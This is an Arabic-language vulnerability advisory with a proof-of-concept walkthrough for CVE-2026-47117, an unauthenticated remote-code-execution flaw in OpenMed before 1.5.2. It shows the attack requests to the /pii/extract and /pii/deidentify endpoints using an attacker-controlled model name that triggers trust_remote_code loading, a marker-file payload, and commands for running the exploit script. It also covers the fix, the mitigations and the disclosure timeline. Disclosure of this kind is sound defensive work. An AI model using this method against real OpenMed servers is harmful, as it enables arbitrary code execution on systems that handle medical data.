saiteja-erukude/cve-2026-47117-openmed-rceOpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True
الخطورة: حرجة، CVSS 4.0 9.3، CVSS 3.1 9.8 (مُعيَّنة من قِبل VulnCheck، الجهة المانحة لمعرّفات CVE)
المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
المتجه (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر: OpenMed < 1.5.2
تم إصلاحه في: 1.5.2
CWE: CWE-94 (التحكم غير السليم في توليد التعليمات البرمجية، حقن التعليمات البرمجية)
اكتشفه وأبلغ عنه: Sai Teja Erukude
تاريخ النشر: 2 يونيو 2026
تحتوي إصدارات OpenMed السابقة لـ 1.5.2 على ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في مسار تحميل نموذج فلتر الخصوصية PII.
تقبل نقاط نهاية REST API التاليتين POST /pii/extract وPOST /pii/deidentify قيمة model_name من جسم الطلب. في الإصدارات المتأثرة، كان موزِّع فلتر الخصوصية يستخدم مطابقة جزئية واسعة على هذه القيمة التي يتحكم بها المهاجم. لذلك، يمكن لاسم نموذج مثل attacker/foo-privacy-filter-bar أن يُوجَّه إلى الواجهة الخلفية لفلتر الخصوصية.
في عمليات النشر غير المعتمدة على MLX/Torch، كانت تلك الواجهة الخلفية تحمّل مكوّنات نموذج Hugging Face عبر Transformers مع تفعيل trust_remote_code=True. وإذا كان مستودع النموذج الذي يتحكم به المهاجم يحتوي على تعليمات برمجية مخصصة لـ Transformers مُشار إليها عبر auto_map في config.json أو tokenizer_config.json، فإن Transformers كانت تستورد تلك التعليمات البرمجية الخاصة بـ Python وتنفّذها أثناء تحميل النموذج أو المُرمِّز (tokenizer).
تُنفَّذ التعليمات البرمجية المستوردة بصلاحيات عملية خدمة OpenMed.
قد يتمكن مهاجم عن بُعد غير مُصادَق يستطيع الوصول إلى OpenMed REST API من تنفيذ تعليمات Python البرمجية بشكل عشوائي على الخادم عبر تزويد معرّف نموذج خبيث بأسلوب Hugging Face في model_name.
اعتمادًا على طريقة نشر الخدمة، قد يسمح ذلك بما يلي:
يمكن الوصول إلى المشكلة عبر كلا نقطتي نهاية PII لأن كلتيهما تقبل model_name وتستخدم نفس مسار استخراج PII/تحميل النموذج:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
يحتوي مسار التحكم القابل للاستغلال على إخفاقين في حدود الثقة:
model_name المقدَّمة من المستخدم عند اختيار الواجهة الخلفية لمرشح الخصوصية.trust_remote_code=True.تعامل المُوزِّع مع أي معرّف نموذج يحتوي على privacy-filter على أنه جزء من عائلة مرشح الخصوصية. وقد أتاح ذلك لمعرّفات يتحكم بها المهاجم، مثل attacker/foo-privacy-filter-bar، الوصول إلى مسار برمجي مخصص لنماذج Privacy Filter الموثوقة من الجهة الأولى.
وبمجرد توجيهه إلى هناك، كان بإمكان Transformers تحميل كود مخصص يتحكم به المهاجم عبر auto_map. ويحدث هذا الاستيراد أثناء تحميل النموذج/المُرمِّز، قبل أن يلزم نجاح أي استدلال مفيد. لذلك يمكن أن تكون حِزمة الإثبات صغيرة بقدر:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py يبني دليل نموذج محلي غير ضار بأسلوب Hugging Face يحتوي اسمه على privacy-filter. تكتب وحدات Transformers المخصصة المُولَّدة ملف علامة عند استيرادها. ثم يرسل السكربت طلبًا إلى نسخة اختبار من OpenMed API مع ذلك الدليل باسم model_name.
السلوك المتوقع على إصدارات OpenMed المصابة هو:
model_name التي يتحكم بها المهاجم.trust_remote_code=True.شغّله ضد نسخة اختبار محلية فقط:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
إذا كانت خدمة OpenMed تعمل في مكان لا يمكنه الوصول إلى الدليل المحلي المُنشأ، فانشر نموذجًا اختباريًا مكافئًا إلى مستودع Hugging Face خاضع للتحكم ومرّر ذلك المعرّف صراحةً:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
قم بالترقية إلى OpenMed 1.5.2 أو أحدث.
يفصل OpenMed 1.5.2 التوجيه عن الثقة:
privacy-filter تُوجَّه عبر مسار privacy-filter الموثوق.PrivacyFilterTorchPipeline يجعل trust_remote_code افتراضيًا False.OPENMED_TRUSTED_REMOTE_CODE_MODELS.إذا لم تكن الترقية الفورية ممكنة:
model_name التي يتحكم بها المستخدم إلى Transformers مع trust_remote_code=True.| التاريخ | الحدث |
|---|---|
| 18 مايو 2026 | تم إرسال الثغرة إلى VulnCheck |
| 20 مايو 2026 | بدأت VulnCheck التواصل للإفصاح المنسّق |
| 22 مايو 2026 | تم تخصيص CVE-2026-47117 مبدئيًا |
| 1 يونيو 2026 | تمت مراجعة إصلاح OpenMed 1.5.2 وتأكيده |
| 2 يونيو 2026 | تم نشر CVE-2026-47117 |
تم اكتشافها والإبلاغ عنها بواسطة Sai Teja Erukude.
تم تنسيق الإفصاح عبر VulnCheck.